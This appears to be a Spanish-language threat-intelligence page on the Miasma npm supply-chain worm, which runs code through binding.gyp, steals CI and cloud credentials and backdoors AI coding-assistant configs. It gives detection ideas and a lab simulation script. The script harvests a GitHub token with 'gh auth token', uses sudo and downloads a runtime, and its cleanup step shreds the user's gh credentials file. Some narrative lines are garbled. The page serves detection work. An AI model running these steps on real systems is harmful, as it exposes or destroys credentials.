El Ataque a la Cadena de Suministro Miasma se Propaga a través del Gusano Phantom Gyp
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Una nueva variante del gusano Miasma se está propagando a través del ecosistema npm abusando de un binding.gyp archivo malicioso que desencadena la ejecución de código durante npm install. Este método pasa por alto muchas verificaciones tradicionales basadas en scripts, descarga un entorno Bun alternativo, roba credenciales de CI/CD y la nube, y envía los datos recopilados a una cuenta de GitHub utilizada como buzón muerto. Más de 57 paquetes fueron comprometidos durante una campaña de rápido movimiento que se desarrolló en menos de dos horas el 3 de junio de 2026. El gusano también planta puertas traseras en archivos de configuración de asistentes de codificación de IA.
Investigación
Los investigadores recrearon la intrusión dentro de un ejecutor de GitHub Actions endurecido y capturaron el árbol completo de procesos, el tráfico de red y los artefactos de código involucrados en el ataque. Su análisis reveló la técnica Phantom Gyp, una cadena de carga útil ofuscada en cuatro etapas, y el uso de Bun para evitar detecciones centradas solo en el comportamiento de Node.js. El robo de credenciales se llevó a cabo leyendo la memoria del ejecutor y consultando los extremos de metadatos de la instancia en la nube. La exfiltración luego ocurrió a través de solicitudes autenticadas de API de GitHub a una cuenta maliciosa que creaba dinámicamente repositorios para almacenar los datos robados.
Mitigación
Los defensores deben reducir la exposición bloqueando los pasos de construcción nativos, deshabilitando node-gyp donde sea posible, o ignorar los scripts de instalación en entornos de alto riesgo. Las ventanas de enfriamiento del registro y la verificación de las firmas de procedencia SLSA también pueden ayudar a limitar la manipulación del paquete. Los equipos de seguridad deben estar atentos a las descargas inesperadas de Bun, archivos index.js raíz sobredimensionados, y la creación de nuevos repositorios de GitHub mediante tokens emitidos por CI. Cualquier token o credencial de nube expuesta debe ser rotado de inmediato.
Respuesta
Las organizaciones deben detectar binding.gyp archivos que contengan patrones como <!(node index.js ...), alertar sobre descargas del entorno de ejecución Bun, y detener el flujo de trabajo afectado tan pronto como se confirme la actividad maliciosa. Los repositorios deben ser escaneados en busca de archivos de configuración de asistentes de IA inyectados y limpios de inmediato. Todos los tokens robados deben ser revocados y rotados, los alcances de permisos de CI/CD revisados, y se debe lanzar una investigación completa de respuesta a incidentes para determinar el alcance de la exposición de credenciales.
Flujo de Ataque
Seguimos actualizando esta parte. Regístrate para recibir notificaciones
NotificarmeDetecciones
Carga / Descarga de Archivos Remotos a través de Herramientas Estándar (via línea de comandos)
Ver
Un Script de Linux Fue Creado en Carpetas Temporales (via evento de archivo)
Ver
Un Archivo Oculto Fue Creado en el Host de Linux (via evento de archivo)
Ver
IOCs (HashSha256) para detectar: Ataque a la Cadena de Suministro de npm Miasma: Gusano de Propagación Propia a través de Phantom Gyp
Ver
IOCs (HashMd5) para detectar: Ataque a la Cadena de Suministro de npm Miasma: Gusano de Propagación Propia a través de Phantom Gyp
Ver
Detección de Ataque a la Cadena de Suministro de npm Miasma [Indicadores de Red]
Ver
Detección de Ataque a la Cadena de Suministro de npm Miasma a través de la Técnica Phantom Gyp [Creación de Procesos en Linux]
Ver
Ejecución de Simulación
Requisito previo: La Verificación Previa de Telemetría y Línea Base debe haber superado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar exactamente la telemetría esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
Un atacante compromete un paquete npm de código abierto, añadiendo unbinding.gypbinding.gypnpm installmalicioso. Cuando un desarrollador ejecutanode-gyp rebuild, el proceso de construcción del paquete invoca- Descarga el entorno de ejecución Bun (binario firmado) a través de
curla un directorio temporal (/tmp/b-<rand>/). - Eleva privilegios invocando
sudo python3para descomprimir el archivo zip y colocar el binario en/usr/local/bin. - Recopila el token de GitHub del desarrollador usando
gh auth token. - Ejecuta una carga útil (
bun run /tmp/p1764ajw42rg.js) que exfiltra datos.
Cada paso aparece textualmente en los registros de creación de procesos, satisfaciendo la
lista deSigma rule. - Descarga el entorno de ejecución Bun (binario firmado) a través de
-
Script de Prueba de Regresión: El siguiente script de Bash reproduce la cadena exacta de comandos en un entorno de laboratorio controlado.
# miasma_phantom_gyp_simulation.sh set -euo pipefail # 1. Preparar un paquete npm falso con binding.gyp malicioso PKG_DIR=$(mktemp -d /tmp/miasma_pkg.XXXX) cd "$PKG_DIR" npm init -y >/dev/null 2>&1 cat > binding.gyp <<'EOF' { "targets": [ { "target_name": "evil", "sources": [ "evil.c" ] } ] } EOF echo "int main(){return 0;}" > evil.c # Instalar node‑gyp localmente npm install node-gyp >/dev/null 2>&1 # 2. Ejecutar node‑gyp rebuild (primer indicador) ./node_modules/.bin/node-gyp rebuild # 3. Descargar el entorno Bun (segundo indicador) TMPDIR=$(mktemp -d /tmp/b-XXXXXX) curl -sSL "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-linux-x64-baseline.zip" -o "$TMPDIR/bun.zip" # 4. Elevar con sudo python3 para descomprimir (tercer indicador) sudo python3 - <<PYTHON import zipfile, sys, os zip_path = os.getenv('TMPDIR') + '/bun.zip' with zipfile.ZipFile(zip_path, 'r') as z: z.extractall(os.getenv('TMPDIR')) PYTHON # 5. Adquirir token de GitHub (cuarto indicador) # Nota: Esto requiere que GitHub CLI esté instalado y previamente autenticado. gh auth token > "$TMPDIR/gh_token.txt" # 6. Ejecutar carga maliciosa a través de Bun (quinto indicador) # Crear una carga útil JS falsa echo "console.log('exfiltrated');" > "$TMPDIR/p1764ajw42rg.js" "$TMPDIR/bun" run "$TMPDIR/p1764ajw42rg.js" echo "Simulación completa. Revise su SIEM para las alertas generadas." -
Comandos de Limpieza: Eliminar artefactos temporales y artefactos de escalamiento de privilegios inverso.
# cleanup_miasma_simulation.sh set -euo pipefail # Eliminar directorios temporales rm -rf "$PKG_DIR" "$TMPDIR" # Opcionalmente eliminar el binario Bun instalado de /usr/local/bin si se colocó allí if command -v bun >/dev/null; then sudo rm -f "$(command -v bun)" fi # Limpiar cualquier token de GitHub capturado shred -u "$HOME/.config/gh/hosts.yml" 2>/dev/null || true echo "Limpieza finalizada."